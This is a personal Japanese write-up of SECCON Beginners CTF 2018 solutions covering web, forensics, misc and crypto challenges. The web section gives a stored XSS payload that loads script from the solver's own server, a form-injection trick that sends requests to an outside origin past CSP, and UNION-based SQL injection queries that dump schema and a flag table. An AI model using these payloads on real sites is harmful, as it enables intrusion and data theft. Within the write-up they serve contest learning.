SECCON Beginners 2018 Write-up

実質公式 Write-up はこちら

[SECCON Beginners CTF 2018 Write-up - Qiita](https://qiita.com/kusano_k/items/9b74398f5bed2792d736)

4r@r3㌠ というチームで個人参戦しました。忘れないうちに Write-up をメモしておきます。

## ■ Web: [Warmup] Greeting

管理者である admin のみが Flag を見ることができるページ。

Cookie から `$username` の値を設定しているので、 Cookie の `name` の値を `admin` にするだけ

## ■ Web: Gimme your comment

問い合わせ？の投稿と、それに対してコメントができるWebサービス。
投稿すると向こうの管理者（？）から「投稿ありがとうございます。大変参考になりました。」という回答が来て、その際に用いられるブラウザの UserAgent を求めるという問題。

投稿のタイトルとコメントは XSS できないが、投稿の本文が特にサニタイズされていないため XSS 可能。
例えば、以下のような本文で投稿すると、自分のサイトに対してリクエストを飛ばすことができる。

```html
<script src="[Your Server]"></script>
```

なお、私は XSS する際にアクセスさせるサイトに [RequestBin](https://github.com/Runscope/requestbin) を用いている。サービス自体は終了してしまったが、OSS として公開されており簡単に heroku にデプロイできるのでオススメです。

## ■ Web: SECCON Goods

SECCON グッズの在庫状況がわかるサイト。
Vue.js が使われており、 `init.js` を見ると `/items.php?minstock=0` にアクセスしているのがわかる。

`/items.php?minstock=100` とすると 1 件も返ってこないが、 `/items.php?minstock=100 or 1=1;--` とすると全件返ってくるため、SQLi できることがわかる。

あとは 普通に UNION を使って SQLi するだけ。

```sql
/items.php?minstock=100 union select table_schema, table_name, column_name, 1, 1 from INFORMATION_SCHEMA.COLUMNS;--
```

INFORMATION_SCHEMA から flag がありそうなテーブルを見つける。

```json
[
  ...,
  {
    "id": "app",
    "name": "flag",
    "description": "flag",
    "price": "1",
    "stock": "1"
  },
  ...
]
```

flag の取得

```sql
/items.php?minstock=0 union select flag, 1, 1, 1, 1 from flag;--
```

## ■ Web: Gimme your comment REVENGE

Gimme your comment と同じサイトで、フラグの取得条件も同じ。
ただし、 Contents Security Policy（CSP） が設定されているため、インラインの JavaScript を実行したり、外部オリジンからリソースを読み込むことができない。

かなり悩んだが、 worker の JavaScript のコードを読んでいたら **投稿すると向こうの管理者（？）から「投稿ありがとうございます。大変参考になりました。」というコメントが来る** ことを思い出し、以下の本文でいけることに気づいた。

```html
</form>
<form method="post" action="[Your Server]">
```

これなら CSP を回避しながら外部オリジンにリクエストを送ることができる。

Gimme your comment を解いている時は、コメント機能の存在意義や、なぜセッションハイジャックではなく UserAgent でいいのか疑問だったが、これで納得した。

## ■ Misc: [Warmup] plain mail

問題ファイルを Wireshark で開き、 Follow TCP Stream で眺めながら、Zip ファイルとそのパスワードを取得ししておしまい。

## ■ Misc: [Warmup] Welcome

問題文

> フラグは公式IRCチャンネルのトピックにあります。

## ■ Misc: てけいさんえくすとりーむず

手計算と書いてあるがもちろん自動でやらせる。

```python
import time
import socket

HOST = 'tekeisan-ekusutoriim.chall.beginners.seccon.jp'
PORT = 8690

def sock(remoteip, remoteport):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((remoteip,remoteport))
    return s, s.makefile('rw', bufsize=0)

def read_until(f, delim='\n'):
    start_time = time.time()
    data = ''
    while not data.endswith(delim):
        data += f.read(1)
        if time.time() - start_time > 3: break
    return data

def main():
    print 'nc %s %s' % (HOST, PORT)
    s, f = sock(HOST, PORT)

    # Skip initial data
    for i in range(11):
        result = read_until(f)
        print result.strip()

    for i in range(100):
        result = read_until(f)
        print result.strip()
        result = read_until(f, '=')
        response = str(eval(result[:-1]))
        s.send(response + '\n')
        print result.strip() + response

    while True:
        result = read_until(f)
        if not result: break
        print result.strip()

    print 'finish.'

if __name__ == '__main__':
    main()
```

## ■ Misc: Find the messages

ディスクイメージが渡されて、その中に隠されたメッセージを探す問題。

とりあえずマウントしてみる。

```bash
$ sudo fdisk -l -u disk.img

Disk disk.img: 67 MB, 67108864 bytes
41 heads, 32 sectors/track, 99 cylinders, total 131072 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0xad4d4cf0

   Device Boot      Start         End      Blocks   Id  System
disk.img1            2048      131071       64512   83  Linux

$ sudo mount -o loop,offset=$((2048*512)) disk.img /mnt
$ sudo ls -lhR /mnt
.:
total 15K
drwx------ 2 root root  12K  4月 28 02:03 lost+found
drwxr-xr-x 2 root root 1.0K  4月 28 02:03 message1
drwxr-xr-x 2 root root 1.0K  4月 28 02:03 message2
drwxr-xr-x 2 root root 1.0K  4月 28 02:05 message3

./lost+found:
total 0

./message1:
total 1.0K
-rw-r--r-- 1 root root 24  4月 28 02:03 message_1_of_3.txt

./message2:
total 15M
-rw-r--r-- 1 root root 15M  4月 28 02:03 message_2_of_3.png

./message3:
total 0
```

マウントすると3つのディレクトリが見える。 

- `message1/`
    - `message_1_of_3.txt` : ただの Base64 エンコードされたテキスト
- `message2/`
    - `message_2_of_3.png` : PNG だがファイルシグネチャの部分が壊れているので修正する
- `message3/` 
    - ファイルがないため、修復する必要があると予想

```bash
$ fls -r -o 2048 disk.img
d/d 11:	lost+found
d/d 12:	message1
+ r/r 13:	message_1_of_3.txt
d/d 2017:	message2
+ r/r 14:	message_2_of_3.png
d/d 2018:	message3
+ r/r * 15:	message_3_of_3.pdf
d/d 16129:	$OrphanFiles
$ icat -o 2048 disk.img 15 > message_3_of_3.pdf
```

これで復元できると思ったのだが、できなかったため `binwalk` を用いた。

```bash
$ binwalk disk.img

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
1048576       0x100000        Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
9437184       0x900000        Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
9700352       0x940400        PDF document, version: "1.3"
11535548      0xB004BC        Unix path: /www.w3.org/1999/02/22-rdf-syntax-ns#
17829888      0x1101000       Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
26214400      0x1900000       Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
42991616      0x2900000       Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
59768832      0x3900000       Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd

$ binwalk --dd='pdf:message_3_of_3.pdf' disk.img
```

## ■ Crypto: [Warmup] Veni, vidi, vici

Zip ファイルが渡され、解凍すると 3 つのファイルが出てくる。
1つは ROT13、もう1つはシーザー暗号、最後の1つはアルファベットを上下反転させたもの。

## ■ Crypto: RSA is Power

RSA の公開鍵の情報が与えられ、暗号文を復号する問題。
RSA は `n` が素因数分解できれば復号可能なので、おもむろに [FactorDB](https://factordb.com) に突っ込んだところ素因数分解してくれた。

あとはやるだけ。

## ■ Crypto: Streaming

暗号化のスクリプトと暗号文が渡されて復号する問題。
暗号自体は XOR 暗号に seed がついてるだけ。しかも seed は `mod 34607` したものなので、総当たりでできる。

```python
class Stream:
    A = 37423
    B = 61781
    C = 34607
    def __init__(self, seed):
        self.seed = seed % self.C

    def __iter__(self):
        return self

    def next(self):
        self.seed = (self.A * self.seed + self.B) % self.C
        return self.seed

encrypted = ''
with open('encrypted', 'rb') as f:
    while True:
        value = f.read(1)
        if value == '': break
        encrypted += value

candidate = []
for seed in range(34607):
    g = Stream(seed)
    a = ord(encrypted[1]) * 256 + ord(encrypted[0])
    # Check flag starts with 'ct'. Because flag format is 'ctf4b{...}'.
    if a ^ g.next() == int('ct'.encode('hex'), 16):
        candidate.append(seed)

for seed in candidate:
    try:
        flag = ''
        g = Stream(seed)
        for i in range(0, len(encrypted), 2):
            a = ord(encrypted[i+1]) * 256 + ord(encrypted[i])
            flag += hex(a ^ g.next())[2:].decode('hex')
        print flag
    except:
        pass
```